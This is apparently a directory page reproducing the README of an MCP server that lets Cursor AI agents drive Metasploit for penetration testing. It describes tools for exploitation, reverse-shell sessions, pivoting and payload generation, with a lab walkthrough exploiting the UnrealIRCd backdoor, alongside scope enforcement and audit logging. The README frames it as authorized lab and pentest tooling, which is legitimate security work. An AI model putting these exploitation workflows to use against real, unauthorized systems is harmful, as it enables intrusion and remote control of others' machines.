Skip to main content
Glama
deenesjakoruzh
Suzu-Testing

msf-harness

by Suzu-Testing
OverviewSchemaRelated ServersScoreDiscussions
Python
Local

Metasploit Cursor Harness

CI Python 3.10+ License: MIT Coverage

Agentic penetration testing harness that bridges Cursor AI agents with the Metasploit Framework via MCP (Model Context Protocol). Provides structured, scope-enforced access to Metasploit RPC through 54 purpose-built tools spanning reconnaissance, exploitation, session management, post-exploitation, pivoting, payload generation, and database operations.

Built for authorized lab and professional pentest workflows with explicit rules of engagement, server-side policy enforcement, audit logging, and PTES-aligned phase/gate methodology.

Why This Harness

Capability

This Harness

Official msfmcpd

GH05TCREW/MetasploitMCP

Tool count

54

~23

~15

Server-side ROE (CIDR, module, session)

Yes

No

No

Cursor hooks (scope gates, risk scoring, evidence)

18 scripts

No

No

PTES workflow phases/gates

7 phases, 57 skills

No

No

Console-first exploit execution

Yes

No

Yes

asyncio.to_thread (non-blocking)

Yes

Yes

No

Domain authorization

Yes (fail-closed)

No

No

Auto LHOST detection

Yes (cross-platform)

No

No

Check-before-exploit gate

Enforced

No

No

Audit logging + world state

Yes

No

No

Self-contained pentest skills

57 skills across 5 tiers

No

No

Related MCP server: MSFConsole MCP Server

Features

  • 54 MCP tools covering recon, exploitation, sessions, Meterpreter ops, pivoting, payloads, handlers, workspaces, console, database writes, and lab helpers

  • Console-first exploits with synchronous output capture, session detection, and failure parsing

  • Server-side ROE enforcement: CIDR scope, domain authorization, CIDR width caps, session limits, DoS blocking, check-before-exploit gate

  • 18 Cursor hook scripts: scope validation, risk scoring (0-100), duplicate detection, evidence logging, world state tracking, credential redaction

  • 57 self-contained agent skills: PTES workflow, domain-specific playbooks (web, AD, cloud, containers, mobile, binary, evasion, service-level, vuln-class)

  • 5 specialized subagents: orchestrator, recon, exploit, post-exploitation, reviewer

Platform Support

Platform

Status

Notes

Windows + WSL2 + Kali

Primary

Full hook pipeline, lab Docker support

Native Linux / Kali

Supported

Requires pwsh for hooks; native msfrpcd

macOS + remote MSF

Experimental

MCP server works; hooks need pwsh; point MSF_HOST at remote RPC

Prerequisites

  • Python 3.10+

  • Metasploit Framework (in WSL/Kali or native Linux)

  • Cursor IDE with MCP support

  • PowerShell Core (pwsh) for hook pipeline

  • Authorized targets defined in scope/scope-master.txt

Quick Start

1. Clone and install

git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"

2. Configure credentials

cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)

3. Start Metasploit RPC

Windows (WSL):

.\scripts\start-msfrpcd.ps1

Linux / Kali (native):

./scripts/start-msfrpcd.sh

4. Enable MCP in Cursor

cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project path

Toggle msf-harness on in Cursor Settings > MCP.

5. Verify setup

python scripts/doctor.py       # Check all prerequisites
python scripts/validate-mcp.py  # Test RPC connectivity

Then in Cursor chat, run msf_status to confirm the MCP connection.

6. Lab targets (optional)

See docs/LAB.md for the built-in Metasploitable2 Docker lab.

For HackTheBox, TryHackMe, OSCP, or your own targets, see docs/BYO-TARGETS.md.

For detailed setup instructions, see docs/SETUP.md.

Or run the one-command bootstrap:

.\scripts\bootstrap.ps1

Your First Exploit

Once setup is complete and msf_status works in Cursor chat, try this end-to-end demo against the Docker lab:

1. Start the lab targets:

.\scripts\start-lab-targets.ps1

2. In Cursor chat, ask the agent to exploit the lab:

Scan the lab target at 10.255.255.254 port 9667 and exploit the UnrealIRCd backdoor using engagement lab-default

The agent will:

  1. Run msf_module_check to verify the target is vulnerable (required by ROE)

  2. Call msf_get_lab_network to auto-detect LHOST

  3. Run msf_run_exploit with exploit/unix/irc/unreal_ircd_3281_backdoor

  4. Call msf_list_active_sessions to confirm the shell

  5. Use msf_send_session_command to run commands on the target

Or do it step-by-step with individual MCP tool calls:

msf_status                              # Verify RPC connection
msf_get_lab_network                     # Get LHOST and port map
msf_module_check(...)                   # Probe for vulnerability
msf_run_exploit(...)                    # Pop a shell
msf_send_session_command(command="id")  # Run commands on target

See docs/LAB.md for the full port map and exploit-specific notes.

Architecture

Cursor Agent
  |-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
  |-- Skills (.cursor/skills/: 57 pentest playbooks)
  |-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
  |-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
  |
  v
msf-harness MCP Server (Python, FastMCP, stdio transport)
  |-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
  |-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
  |-- Policy/ROE (server-side CIDR, domain, module, session validation)
  |-- Console engine (synchronous module execution with output capture)
  |
  v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
  |
  v
msfdb (PostgreSQL)

MCP Tools (54 total)

Read-Only (no engagement_id required)

Tool

Purpose

msf_status

Check RPC connectivity, version, session count

msf_search_modules

Search modules by keyword, CVE, or name

msf_module_info

Module options, targets, references, rank

msf_module_options

Get configurable options for a module

msf_running_stats

Get statistics on currently running modules

msf_list_modules

List modules by type with optional filter

msf_host_info

Query discovered hosts from msfdb

msf_service_info

Query discovered services (ports, protocols)

msf_vulnerability_info

Query vulnerability records

msf_note_info

Query annotations/notes

msf_credential_info

Query harvested credentials

msf_loot_info

Query collected loot/files

msf_list_active_sessions

List current sessions with type and target

msf_session_info

Get detailed info for a single session

msf_list_listeners

List active handlers/background jobs

msf_job_info

Get details for a specific job

msf_list_payloads

Search available payloads by name/platform/arch

msf_compatible_payloads

List payloads compatible with a given module

msf_list_workspaces

List database workspaces

msf_db_status

Check database connectivity and driver info

msf_console_list

List active RPC console instances

msf_get_lab_network

Get lab target config (Docker ports, LHOST)

msf_route_list

List active routes for session pivoting

Action (require engagement_id)

Tool

Purpose

msf_module_check

Safe vulnerability probe (non-exploitative)

msf_module_results

Query results of an async module job by UUID

msf_run_exploit

Execute exploit module (console or RPC job mode, configurable timeout)

msf_run_auxiliary_module

Run auxiliary module (scanner, fuzzer; optional console mode)

msf_run_post_module

Run post-exploitation module on a session (optional console mode)

msf_send_session_command

Execute command in active shell/meterpreter

msf_terminate_session

Kill a session

msf_wait_for_session

Poll for new sessions after exploit/handler

msf_session_upgrade

Upgrade shell to Meterpreter

msf_session_sysinfo

Get OS/arch/hostname from Meterpreter session

msf_session_getuid

Get current user identity from Meterpreter session

msf_session_ps

List running processes in Meterpreter session

msf_session_download

Download file from target to evidence/

msf_session_upload

Upload file from evidence/ to target (sandboxed)

msf_session_run_script

Run Meterpreter script in session

msf_start_listener

Start multi/handler listener

msf_stop_job

Stop a background job

msf_cleanup_jobs

Stop all background jobs to free ports

msf_generate_payload

Generate payload file (saved to evidence/)

msf_create_workspace

Create database workspace

msf_set_workspace

Switch active workspace

msf_delete_workspace

Delete a database workspace

msf_db_import

Import scan data (nmap XML, Nessus, etc.)

msf_db_nmap

Run nmap and auto-import results

msf_console_execute

Run arbitrary msfconsole command via RPC

msf_route_add

Add route through session for pivoting

msf_route_delete

Remove a route

msf_autoroute

Auto-add routes via post/multi/manage/autoroute

msf_report_host

Manually report host to database

msf_credential_add

Store discovered credential in database

msf_db_add_note

Add note/annotation to database

Example Workflow

# 1. Verify connection
msf_status()

# 2. Scan target ports
msf_run_auxiliary_module(
  engagement_id="lab-default",
  module_name="auxiliary/scanner/portscan/tcp",
  options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)

# 3. Check what's open
msf_service_info(host="10.255.255.254")

# 4. Check before exploit (required by ROE)
msf_module_check(
  engagement_id="lab-default",
  module_type="exploit",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)

# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
  engagement_id="lab-default",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
  payload="generic/shell_reverse_tcp",
  payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
  run_check_first=True
)

Safety Model

  1. Server-side ROE (msf_harness/mcp/policy/roe.py): validates targets against engagement CIDRs, blocks forbidden modules, enforces session limits, caps CIDR scan width, requires check-before-exploit, validates domains (fail-closed)

  2. Cursor hooks (.cursor/hooks/): scope gates on every shell command and MCP call, risk scoring (0-100 with CRITICAL escalation), duplicate detection, audit logging to logs/command-ledger.jsonl, evidence auto-save, credential redaction

  3. Console command parsing: msf_console_execute extracts and validates RHOSTS, module paths, and db_nmap targets from raw commands

  4. File path restrictions: msf_db_import and msf_generate_payload restricted to evidence/ and engagements/ directories

  5. DoS modules (auxiliary/dos/*) blocked unconditionally

  6. Input sanitization: nmap args allowlisted, option keys validated, console values quote-escaped

Use only on systems you are authorized to test.

Troubleshooting

Symptom

Fix

msf_status says "Cannot connect to msfrpcd"

Run .\scripts\start-msfrpcd.ps1; verify msfrpcd is listening with wsl -e bash -lc "ss -tlnp | grep 55553"

MCP server not appearing in Cursor

Ensure .cursor/mcp.json uses absolute paths for cwd and PYTHONPATH; restart Cursor

"MSF_PASSWORD is not set"

Set it in .env (copy from .env.example if needed)

"Target not in scope" or ROE denial

Add the target IP/CIDR to scope/scope-master.txt AND engagements/<id>/roe.yaml authorized_cidrs

Module check fails with "not supported"

Some modules lack a check method; this is normal. Proceed with caution.

No session after exploit

Verify LHOST is correct (msf_get_lab_network); check firewall; try a different payload

Hook errors in Cursor output

Verify pwsh (PowerShell 7+) is installed: winget install Microsoft.PowerShell

Python import errors

Run pip install -e ".[mcp]" from the project root

Run python scripts/doctor.py for a full prerequisite health check.

Development

pip install -e ".[mcp,dev]"
python -m pytest tests/ -v                                    # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1     # 120 hook tests
python scripts/validate-mcp.py                                # RPC connectivity

See CONTRIBUTING.md for development setup and PR guidelines.

Directory Structure

Path

Purpose

msf_harness/mcp/

Python MCP server package

msf_harness/mcp/tools/

MCP tool implementations (12 modules, 54 tools)

msf_harness/mcp/rpc/

Metasploit RPC client with auto-reconnect

msf_harness/mcp/policy/

ROE enforcement (CIDR, domain, module, session, exploit-gate)

scope/

Authorized target CIDRs and domains

engagements/

Per-engagement ROE configs and workflow state

evidence/msf/

Captured evidence (gitignored)

logs/

Hook audit logs and command ledger (gitignored)

.cursor/hooks/

PowerShell Core safety gates (18 scripts)

.cursor/skills/

Agent workflow playbooks (57 skills)

.cursor/agents/

Custom subagent definitions (5 agents)

.cursor/rules/

Always-on agent guidance (3 rules + AGENTS.md)

scripts/

Utility scripts (start RPC, create engagement, health check, validate MCP)

tests/

Pytest + hook test suites

docs/

Setup guide, lab guide, BYO targets guide

License

MIT

Acknowledgments

This server cannot be installed

A
license - permissive license
Not graded
quality - not tested
C
maintenance

How are these scores calculated?

Maintenance

–Maintainers
–Response time
–Release cycle
–Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • MSFConsole MCP Server

    LYFTIUM-INC
    A
    license
    Not graded
    quality
    D
    maintenance
    Enables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.
    8
    MIT

  • MSFConsole MCP Server

    PreistlyPython
    -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    2

View all related MCP servers

Related MCP Connectors

  • mcp-server

    MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • ToolAPI

    Free public MCP for AI agents — 193 tools, 44 workflows. No API key.

  • MCP Fortress

    Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'

If you have feedback or need assistance with the MCP directory API, please join our Discord server